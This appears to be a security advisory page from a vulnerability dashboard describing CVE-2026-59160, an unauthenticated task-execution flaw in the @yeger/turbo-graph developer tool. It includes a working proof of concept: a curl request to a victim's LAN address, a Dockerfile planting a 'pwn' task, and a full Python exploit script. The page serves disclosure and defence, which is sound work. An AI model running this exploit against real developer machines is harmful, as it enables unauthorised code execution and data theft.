Kestrel
대시보드로 돌아가기
CVE-2026-59160HIGH· 8.8GHSA대응게시일: 2026. 09. 09.수정일: 2026. 09. 09.

@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.8high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터인접
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.8HIGH
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

Summary

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1 — Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

text
1// packages/turbo-graph/src/index.ts
219 const hostname = 'localhost' // used only for console URL, not for listen()
3...
444 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind
545 const url = `http://${hostname}:${options.port}`

Flaw 2 — Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

text
1// packages/turbo-graph-ui/app/api/run/route.ts
2156 export function GET(req: NextRequest) {
3157 const url = new URL(req.url)
4159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source
5171 const filter = url.searchParams.get('filter') ?? undefined
6176 return buildResponseFromArgs(tasks, filter, req.signal, { force })
7
8// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
920 const args: string[] = ['run', ...tasks] // tasks inserted directly
1025 args.push(`--filter=${trimmed}`)
1131 args.push('--force')
1234 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
13 // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

text
1mkdir /tmp/tg-poc && cd /tmp/tg-poc
2
3cat > package.json <<'JSON'
4{
5 "private": true,
6 "scripts": {
7 "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
8 },
9 "devDependencies": {
10 "@yeger/turbo-graph": "2.8.8",
11 "turbo": "^2.0.0"
12 }
13}
14JSON
15
16cat > turbo.json <<'JSON'
17{
18 "tasks": {
19 "pwn": { "cache": false }
20 }
21}
22JSON
23
24npm install
25npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

bash
1ss -tlnp 'sport = :29312'
2# Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

bash
1# Replace <victim-ip> with the victim machine's LAN IP address.
2curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

Expected outcome:

  • The server returns HTTP 200 with a text/event-stream response.
  • An SSE start event is received with args: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted.
  • The file /tmp/turbo-graph-poc is created on the victim machine with content owned, proving arbitrary task execution.

Containerized reproduction (automated):

The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:

text
1docker build -t vuln-001-poc <vuln-001-dir>
2docker run --rm vuln-001-poc

The container confirmed all three evidence points during Phase 2 dynamic testing:

  1. ss -tlnp sport=:29312LISTEN 0 511 *:29312 (all-interface binding confirmed)
  2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required)
  3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.

Depending on the tasks configured in the victim's turbo.json, the impact includes:

  • Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.
  • Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.
  • Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.

The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/turbo-graph@2.8.8 in a shared or corporate network environment are affected.

Reproduction artifacts

Dockerfile
sql
1# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)
2#
3# Layout:
4# /victim/ - simulated developer workspace that runs turbo-graph
5# /victim/pwn.js - the task payload executed when the attacker fires /api/run
6# /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn
7#
8# Build:
9# docker build -t vuln-001-poc <vuln-001-dir>
10#
11# Run:
12# docker run --rm vuln-001-poc
13
14FROM node:20-slim
15
16# System tools:
17# python3 - runs poc.py
18# iproute2 - ss(8) for socket-binding introspection (evidence collection)
19RUN apt-get update && \
20 apt-get install -y --no-install-recommends python3 iproute2 && \
21 rm -rf /var/lib/apt/lists/*
22
23# ---------------------------------------------------------------------------
24# Victim workspace: a minimal Turborepo project that a developer might run
25# ---------------------------------------------------------------------------
26WORKDIR /victim
27
28# package.json: defines the 'pwn' task script and package dependencies.
29# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).
30# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
31RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
32 > /victim/package.json
33
34# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
35RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
36 > /victim/turbo.json
37
38# pwn.js: task payload — writes a timestamped proof file and logs to stdout.
39# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
40RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \
41 > /victim/pwn.js
42
43# Install packages from the declarations in package.json.
44# --legacy-peer-deps avoids strict peer-dep resolution failures.
45# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built
46# .next/ directory, so no separate 'next build' step is required.
47RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5
48
49# ---------------------------------------------------------------------------
50# Attacker PoC script
51# ---------------------------------------------------------------------------
52COPY poc.py /poc.py
53
54# Default: execute the PoC (start server, fire unauthenticated request, verify)
55CMD ["python3", "/poc.py"]
poc.py
python
1#!/usr/bin/env python3
2"""
3PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
4Package: @yeger/turbo-graph@2.8.8
5CWE: CWE-306 (Missing Authentication for Critical Function)
6CVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
7
8Two independent flaws combine into the vulnerability:
9 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
10 hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
11 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
12 has zero authentication; attacker-supplied ?tasks= values are passed
13 directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).
14
15Attack scenario reproduced here:
16 - Victim runs `turbo-graph` from a project with a side-effecting task.
17 - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
18 - The server executes `turbo run pwn` in the victim's project directory.
19 - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
20"""
21
22import os
23import socket
24import subprocess
25import sys
26import time
27import urllib.error
28import urllib.request
29
30# ---------------------------------------------------------------------------
31# Configuration
32# ---------------------------------------------------------------------------
33PROOF_FILE = "/tmp/poc-proof.txt"
34PORT = 29312
35VICTIM_DIR = "/victim"
36TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")
37SERVER_STARTUP_TIMEOUT = 120 # seconds; Next.js production startup can be slow
38REQUEST_TIMEOUT = 90 # seconds to wait for the SSE stream to finish
39
40
41# ---------------------------------------------------------------------------
42# Helpers
43# ---------------------------------------------------------------------------
44
45def wait_for_port(host: str, port: int, timeout: int) -> bool:
46 """Poll until the TCP port accepts connections or timeout expires."""
47 deadline = time.time() + timeout
48 while time.time() < deadline:
49 try:
50 with socket.create_connection((host, port), timeout=2):
51 return True
52 except (ConnectionRefusedError, OSError):
53 time.sleep(1)
54 return False
55
56
57def get_socket_binding(port: int) -> str:
58 """Return the raw 'ss' output for the listening socket on *port*."""
59 try:
60 result = subprocess.run(
61 ["ss", "-tlnp", f"sport = :{port}"],
62 capture_output=True,
63 text=True,
64 timeout=5,
65 )
66 return result.stdout.strip()
67 except Exception as exc:
68 return f"(ss unavailable: {exc})"
69
70
71def binding_is_all_interfaces(ss_output: str) -> bool:
72 """Return True when the socket is listening on all interfaces."""
73 return any(
74 marker in ss_output
75 for marker in ("0.0.0.0", "*:", "[::]", ":::")
76 )
77
78
79def read_sse_stream(url: str, timeout: int) -> list:
80 """
81 Open *url* as a Server-Sent Events stream and return parsed events.
82 Each event is a dict with keys 'type' and optionally 'data'.
83 Stops when an 'end' event is received or *timeout* seconds elapse.
84 """
85 events = []
86 try:
87 req = urllib.request.Request(
88 url,
89 headers={
90 "Accept": "text/event-stream",
91 "Cache-Control": "no-cache",
92 "Connection": "keep-alive",
93 },
94 )
95 with urllib.request.urlopen(req, timeout=timeout) as resp:
96 print(f" [HTTP] {resp.status} {resp.reason}")
97 print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
98 buf = ""
99 deadline = time.time() + timeout
100 while time.time() < deadline:
101 chunk = resp.read(4096)
102 if not chunk:
103 break
104 buf += chunk.decode("utf-8", errors="replace")
105 # Parse complete SSE blocks (separated by blank lines)
106 while "\n\n" in buf:
107 block, buf = buf.split("\n\n", 1)
108 ev: dict = {}
109 for line in block.strip().split("\n"):
110 if line.startswith("event: "):
111 ev["type"] = line[7:]
112 elif line.startswith("data: "):
113 ev["data"] = line[6:]
114 # ignore SSE comments (':') and 'retry:' lines
115 if ev.get("type"):
116 events.append(ev)
117 preview = ev.get("data", "")[:120]
118 print(f" [SSE] event={ev['type']} data={preview}")
119 if ev["type"] == "end":
120 return events
121 except urllib.error.HTTPError as exc:
122 print(f" [!] HTTP error: {exc.code} {exc.reason}")
123 except Exception as exc:
124 print(f" [!] Stream error: {type(exc).__name__}: {exc}")
125 return events
126
127
128# ---------------------------------------------------------------------------
129# Main PoC
130# ---------------------------------------------------------------------------
131
132def main() -> int:
133 sep = "=" * 64
134 print(sep)
135 print("VULN-001 PoC — Unauthenticated Turborepo Task Execution")
136 print("Package : @yeger/turbo-graph@2.8.8")
137 print("CWE-306 : Missing Authentication for Critical Function")
138 print(sep)
139 print()
140
141 # Remove stale proof file from a previous run
142 if os.path.exists(PROOF_FILE):
143 os.remove(PROOF_FILE)
144
145 # ------------------------------------------------------------------
146 # Step 1: Start turbo-graph server from the victim project directory
147 # The CLI does NOT pass a hostname to .listen(), so Node.js binds to
148 # 0.0.0.0 (all interfaces) — see index.ts:44.
149 # ------------------------------------------------------------------
150 print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")
151 server = subprocess.Popen(
152 [TURBO_GRAPH_BIN, "--port", str(PORT)],
153 cwd=VICTIM_DIR,
154 stdout=subprocess.PIPE,
155 stderr=subprocess.STDOUT,
156 text=True,
157 )
158
159 # ------------------------------------------------------------------
160 # Step 2: Wait for the port to become available
161 # ------------------------------------------------------------------
162 print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")
163 ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)
164 if not ready:
165 server.kill()
166 stdout, _ = server.communicate()
167 print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")
168 print(f" stdout/stderr:\n{stdout[:2000]}")
169 return 1
170 print(f"[+] Server is accepting connections on port {PORT}.")
171
172 # ------------------------------------------------------------------
173 # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
174 # Flaw 1: .listen(port) without hostname → network-exposed.
175 # ------------------------------------------------------------------
176 ss_output = get_socket_binding(PORT)
177 print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")
178 print(f" {ss_output}")
179 if binding_is_all_interfaces(ss_output):
180 print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
181 else:
182 print(f"[?] Could not confirm all-interface binding; proceeding with request test.")
183
184 # ------------------------------------------------------------------
185 # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
186 # Flaw 2: no authentication, authorisation, CSRF check, or task
187 # allowlist — see route.ts:156-177.
188 # ------------------------------------------------------------------
189 url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
190 print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")
191 print(f" GET {url}")
192 sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)
193
194 # Allow a moment for any buffered I/O in the child process to flush
195 time.sleep(3)
196
197 # ------------------------------------------------------------------
198 # Step 5: Evaluate exploitation results
199 # ------------------------------------------------------------------
200 exploited = os.path.exists(PROOF_FILE)
201 proof_content = open(PROOF_FILE).read().strip() if exploited else ""
202
203 start_event = next((e for e in sse_events if e.get("type") == "start"), None)
204 end_event = next((e for e in sse_events if e.get("type") == "end"), None)
205 log_events = [e for e in sse_events if e.get("type") in ("log", "stderr")]
206
207 print()
208 print(sep)
209 print("EVIDENCE SUMMARY")
210 print(sep)
211
212 # Evidence A: socket binding
213 if binding_is_all_interfaces(ss_output):
214 print(f"[A] FLAW-1 — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")
215 else:
216 print(f"[A] FLAW-1 — ss output: {ss_output[:80]}")
217
218 # Evidence B: unauthenticated SSE response
219 if start_event:
220 print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:")
221 print(f" {start_event.get('data', '')}")
222 else:
223 received = [e.get("type") for e in sse_events]
224 print(f"[B] FLAW-2 — SSE events received: {received}")
225
226 # Evidence C: turbo task exit code
227 if end_event:
228 print(f"[C] TURBO — turbo run exit code: {end_event.get('data', '')}")
229
230 # Evidence D: proof file (arbitrary code execution)
231 if exploited:
232 print(f"[D] EXPLOIT — Proof file created: {PROOF_FILE}")
233 print(f" Content: {proof_content}")
234 else:
235 print(f"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}")
236 if log_events:
237 print(f" Task stdout/stderr (first 5 lines):")
238 for ev in log_events[:5]:
239 print(f" [{ev['type']}] {ev.get('data', '')}")
240
241 print(sep)
242
243 # Clean up
244 server.kill()
245 server.wait(timeout=10)
246
247 if exploited:
248 print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.")
249 return 0
250 else:
251 print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.")
252 return 1
253
254
255if __name__ == "__main__":
256 sys.exit(main())

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.